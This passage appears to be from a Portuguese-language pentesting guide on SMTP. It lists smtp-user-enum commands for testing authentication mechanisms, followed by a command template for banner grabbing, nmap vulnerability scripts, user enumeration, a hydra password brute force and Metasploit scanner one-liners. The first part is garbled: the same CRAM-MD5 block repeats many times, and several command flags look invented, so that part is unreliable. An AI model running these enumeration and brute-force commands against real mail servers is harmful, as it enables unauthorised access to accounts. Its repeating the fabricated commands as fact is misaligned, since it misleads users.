smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando DIGEST-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -digestmd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando LOGIN
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -login -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando PLAIN
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -plain -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando XOAUTH2
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -xoauth2 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando NTLM
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -ntlm -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando GSSAPI
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -gssapi -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando EXTERNAL
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -external -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando XOAUTH
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -xoauth -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-SHA1
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -cramsha1 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-SHA256
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -cramsha256 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-SHA512
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -cramsha512 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
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smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -crammd5 -user <user> -pass <pass>
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```
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Protocol_Name: SMTP #Protocol Abbreviation if there is one.
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Port_Number: 25,465,587 #Comma separated if there is more than one.
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Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
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Description: Notes for SMTP
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Note: |
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SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
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https://book.hacktricks.xyz/pentesting/pentesting-smtp
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Entry_2:
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Name: Banner Grab
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Description: Grab SMTP Banner
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Command: nc -vn {IP} 25
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Entry_3:
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Name: SMTP Vuln Scan
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Description: SMTP Vuln Scan With Nmap
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Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
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Entry_4:
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Name: SMTP User Enum
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Description: Enumerate uses with smtp-user-enum
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Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
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Entry_5:
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Name: SMTPS Connect
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Description: Attempt to connect to SMTPS two different ways
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Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
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Entry_6:
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Name: Find MX Servers
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Description: Find MX servers of an organization
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Command: dig +short mx {Domain_Name}
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Entry_7:
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Name: Hydra Brute Force
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Description: Need Nothing
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Command: hydra -P {Big_Passwordlist} {IP} smtp -V
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Entry_8:
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Name: consolesless mfs enumeration
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Description: SMTP enumeration without the need to run msfconsole
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Note: sourced from https://github.com/carlospolop/legion
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Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
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<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
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{% embed url="https://www.dragonjarcon.org/" %}
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